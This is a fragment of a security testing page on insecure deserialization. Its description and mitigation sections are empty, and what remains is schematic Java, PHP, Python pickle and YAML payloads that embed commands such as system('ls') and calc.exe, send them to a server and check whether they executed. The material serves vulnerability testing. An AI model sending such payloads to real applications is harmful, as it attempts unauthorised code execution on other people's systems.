Insecure Deserialization
Description
Example with Scenario
Payloads and Test Cases
SerializedPayload = Base64.encodeObject(new MaliciousObject());O:8:"stdClass":1:{s:4:"name";s:4:"evil";}payload = pickle.dumps(MaliciousObject())payload = YAML.dump(MaliciousObject.new)
SerializedPayload = Base64.encodeObject(new ExploitObject("calc.exe"));// Send serialized payload to the application sendPayloadToServer(SerializedPayload); // Check if the application executed the malicious command checkIfProcessStarted("calc.exe");
O:8:"stdClass":1:{s:4:"name";s:14:"system('ls');";}// Send serialized payload to the application sendPayloadToServer(payload); // Check if the application executed the command checkServerLogsForCommandExecution("ls");
payload = pickle.dumps(MaliciousObject("os.system('ls')"))# Send serialized payload to the application sendPayloadToServer(payload) # Check if the application executed the command checkServerLogsForCommandExecution("ls")
payload = YAML.dump(MaliciousObject.new("`ls`"))# Send serialized payload to the application sendPayloadToServer(payload) # Check if the application executed the command checkServerLogsForCommandExecution("ls")
Mitigation
Last updated